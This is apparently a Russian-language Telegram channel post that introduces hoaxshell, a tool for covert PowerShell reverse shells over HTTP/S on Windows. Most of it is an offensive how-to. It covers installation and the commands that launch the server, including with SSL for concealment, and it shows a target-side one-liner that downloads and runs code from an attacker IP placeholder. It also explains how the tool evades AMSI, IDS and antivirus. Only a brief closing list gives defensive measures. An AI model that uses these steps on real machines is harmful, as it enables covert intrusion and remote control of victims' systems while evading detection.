tgoop.com/codeby_sec/9469
Create:
Last Update:
Last Update:
Обход защиты с помощью hoaxshell: HTTP-канал для скрытного управления Windows
Специалисты по кибербезопасности традиционно разделяют инструменты для тестирования на проникновение на два типа: мощные, но сложные, или простые, но ограниченные. Hoaxshell — инструмент, который ломает стереотип. Скрипт использует нестандартный подход к работе с PowerShell, превращая его в эффективное средство для моделирования угроз и оценки защищённости инфраструктуры.
Традиционные методы получения обратного соединения (reverse shell) через PowerShell часто сталкиваются с проблемами: встроенные защитные механизмы Windows (AMSI), системы обнаружения вторжений (IDS) и межсетевые экраны легко распознают и блокируют стандартные шаблоны трафика.
Hoaxshell обходит эти препятствия за счет двух ключевых особенностей:
- В отличие от сырых TCP-сокетов, hoaxshell использует HTTP/S-запросы для коммуникации. Это позволяет ему маскировать свой трафик под легитимную активность веб-браузера или другого приложения, что значительно усложняет его обнаружение.
- Инструмент генерирует команды PowerShell, которые не содержат явных признаков вредоносной активности. Эти команды динамически получают инструкции от сервера, что позволяет обходить статические сигнатуры антивирусов.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
hoaxshell -h
Серверная часть hoaxshell запускается на машине тестировщика (атакующего). Самый простой способ — запустить его на всех интерфейсах, указав порт.
sudo python3 hoaxshell.py -s 8080
После запуска скрипт сгенерирует уникальную команду PowerShell, которую необходимо выполнить на целевой машине. Это будет выглядеть примерно так:
PS C:\> $s='http://ВАШ_IP:8080'; $i='UNIQUE_SESSION_ID'; $p='http://proxy-server.com:8080'; iex (New-Object Net.WebClient).DownloadString("$s/index.html")
Для шифрования трафика и лучшей маскировки можно использовать встроенный сервер с SSL.
sudo python3 hoaxshell.py -s 443 -t ssl
В этом случае команда для цели будет использовать
https://
. Если целевая машина использует корпоративный прокси, в команду можно добавить соответствующие параметры.
- Мониторинг сетевой активности (выявление регулярных HTTP/S-сессий между внутренними хостами и внешними IP)
- Аудит журналов PowerShell
(контроль событий выполнения внешнего кода (например, через DownloadString))
- Ограничение возможностей PowerShell (использование Constrained Language Mode для блокировки выполнения скриптов)
- Сегментация сети (блокировка несанкционированных исходящих HTTP/S-подключений с рабочих станций)